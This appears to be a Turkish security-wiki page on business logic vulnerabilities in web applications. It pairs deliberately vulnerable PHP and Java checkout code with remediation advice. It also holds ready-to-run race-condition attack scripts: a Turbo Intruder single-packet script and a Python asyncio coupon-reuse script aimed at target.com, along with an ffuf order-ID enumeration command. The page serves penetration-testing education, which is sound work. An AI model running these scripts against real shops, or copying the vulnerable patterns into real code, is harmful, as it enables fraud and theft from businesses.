AltaySec Wiki Business Logic Vulnerabilities   ·   AltaySec Araştırmalar

Business Logic Vulnerabilities

root@altaysec:~# whoami
> Yazar: Yaren Daşpınar

İş mantığı zafiyetleri (Business Logic Vulnerabilities), bir uygulamanın meşru işlem akışlarının, organizasyon için olumsuz sonuçlar doğuracak şekilde manipüle edilmesidir. Teknik açıkların (SQLi, XSS vb.) aksine, bu hatalar güvenlik kontrollerinin (kimlik doğrulama, girdi doğrulama) kırılmasından ziyade, uygulamanın tasarım aşamasındaki hatalı varsayımlardan kaynaklanır. Red Team operasyonlarında bu zafiyetler "mantıksal tasarım hataları" olarak sınıflandırılır ve otomatik tarayıcılar (DAST) tarafından tespit edilemezler; çünkü zafiyeti anlamak için ilgili iş kolunun (E-ticaret, Bankacılık, Lojistik vb.) kurallarını bilmek gerekir.

How It Works (Teknik Analiz)

İş mantığı hataları, yazılımın beklenen kullanıcı davranışlarından sapması durumunda nasıl tepki vereceğinin önceden tanımlanmamasından doğar. Teknik düzeyde bu, bir uygulamanın durum makinesinin (State Machine) beklenmedik geçişlere izin vermesi veya kritik verilerin (fiyat, yetki düzeyi, miktar) istemci tarafından kontrol edilmesine güvenilmesidir.

Vulnerable Code Patterns

Aşağıdaki örneklerde, mantıksal hataların kod düzeyindeki yansımaları incelenmektedir:

// ZAFİYETLİ KOD (PHP): Güvenilmemesi gereken istemci verisi
$product_price = $_POST['price']; // Saldırgan fiyatı manipüle edebilir
$quantity = $_POST['quantity'];
$total_cost = $product_price * $quantity;

// Sunucu sadece bakiyeyi kontrol ediyor, fiyatın doğruluğunu veritabanından sorgulamıyor.
if ($user_balance >= $total_cost) {
    process_payment($total_cost);
}
// ZAFİYETLİ KOD (JAVA): İş Akışı Atlatma (Workflow Bypass)
@PostMapping("/checkout/step3")
public String completeOrder(@RequestParam String orderId, HttpSession session) {
    // HATA: Kullanıcının Step 1 (Sepet) ve Step 2 (Ödeme) aşamalarını 
    // başarıyla tamamladığına dair bir state kontrolü yapılmıyor.
    Order order = orderService.getOrder(orderId);
    order.setStatus("PAID");
    return "order_confirmation";
}

Detection & Enumeration (Keşif ve Analiz)

İş mantığı hatalarını keşfetmek için sızma testi uzmanı, uygulamanın işleyiş kurallarını bir analist gibi öğrenmeli ve ardından "bu kuralı nasıl esnetebilirim?" sorusunu sormalıdır.

Manuel Test Metodolojileri

Fuzzing Payloadları

Attack Vectors & Exploitation (İstismar Vektörleri)

Excessive Trust in Client-Side Controls

Uygulamanın, tarayıcıda yapılan doğrulamaların (JavaScript veya gizli form alanları) sunucu tarafında da yapılacağını varsaymasıdır. Saldırgan Burp Suite kullanarak bu değerleri sunucuya ulaşmadan değiştirir.

Failing to Handle Unconventional Input

Geliştiricilerin sadece "normal" girdileri beklemesi sonucu oluşur. Negatif ürün adedi girilerek toplam fiyatın düşürülmesi veya sepetin eksiye indirilmesi bu kategoridedir.

Multi-Step Process Circumvention

Birçok uygulama, işlemi tamamlamak için kullanıcıyı belirli bir sırayla (Örn: Sepet -> Adres -> Ödeme -> Onay) yönlendirir. Saldırgan, ödeme adımını atlayıp doğrudan onay endpoint'ine istek atarak süreci altüst eder.

Race Conditions (Yarış Durumları)

Uygulamanın aynı anda gelen birden fazla isteği senkronize edememesi durumudur.

Payloads & Advanced Commands

HTTP/2 Single-Packet Attack (Turbo Intruder)

Race condition saldırılarında ağ gecikmesini (jitter) minimize etmek için tüm istekleri tek bir TCP paketinde toplama tekniğidir.

# Turbo Intruder Race Condition Script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2 # HTTP/2 desteği için
                           )

    # 50 isteği bir kapı (gate) arkasında kuyruğa al
    for i in range(50):
        engine.queue(target.req, gate='race_gate')

    # Kapıyı aç ve tüm paketleri aynı anda gönder
    engine.openGate('race_gate')

def handleResponse(req, interesting):
    table.add(req)

Python Asyncio Race Attack

Python ile asenkron istekler göndererek limit aşımı denemesi:

import asyncio
import httpx

async def attack(client, url):
    # İndirim kodu kullanma isteği
    return await client.post(url, data={"coupon": "SAVE50"})

async def main():
    async with httpx.AsyncClient() as client:
        tasks = [attack(client, "https://target.com/apply-coupon") for _ in range(30)]
        responses = await asyncio.gather(*tasks)
        for r in responses:
            print(r.status_code, r.text)

asyncio.run(main())

Automated Enumeration (ffuf)

Tahmin edilebilir ID'ler üzerinden iş akışını kırma:

ffuf -u https://target.com/order/FUZZ/confirmation -w order_ids.txt -mc 200

Bypass & Obfuscation (Atlatma Teknikleri)

Integer Overflow/Underflow

Veri tipi sınırlarını zorlayarak mantık hatası yaratma:

HTTP/1.1 Last-Byte Synchronization

HTTP/2 desteklemeyen sunucularda, isteklerin ilk kısımlarını gönderip son byte'ı bekletme ve tüm isteklerin son byte'ını aynı anda göndererek senkronizasyon sağlama.

Encoding Discrepancies

E-posta parser'larının farklı yorumlaması:

Remediation & Prevention (Önleme ve Savunma)

  1. Strict State Machine: İş süreçleri sunucu tarafında katı bir durum makinesi ile takip edilmelidir. (Örn: Step 3'e gelmek için Step 2'nin "tamamlandı" flag'i veritabanında kontrol edilmelidir).
  2. Server-Side Validation: Fiyat, miktar ve yetki gibi kritik bilgiler asla istemciden alınmamalı, her zaman sunucu tarafındaki güvenilir kaynaktan (Database) çekilmelidir.
  3. Atomic Transactions: Veritabanı işlemleri (para transferi, stok düşümü) "Atomic" olmalıdır. Race condition'ları önlemek için SELECT FOR UPDATE veya iyimser/kötümser kilitleme (Locking) mekanizmaları kullanılmalıdır.
  4. Rate Limiting & Anti-Automation: Özellikle kupon kullanımı ve bakiye yükleme gibi noktalarda hız sınırlaması uygulanmalıdır.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Burp Turbo Intruder Yüksek hızlı race condition testleri Engine.BURP2 + openGate
H2SpaceX HTTP/2 ve HTTP/3 single-packet sync python3 h2spacex_exploit.py
Burp Repeater Manuel grup içi paralel istek gönderimi Send group in parallel (last-byte sync)
ffuf Parametre ve workflow fuzzing ffuf -u URL -d "qty=FUZZ"
AuthMatrix İş mantığı rollerini karşılaştırma Check cross-user logic access

Yazar: Yaren Daşpınar · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv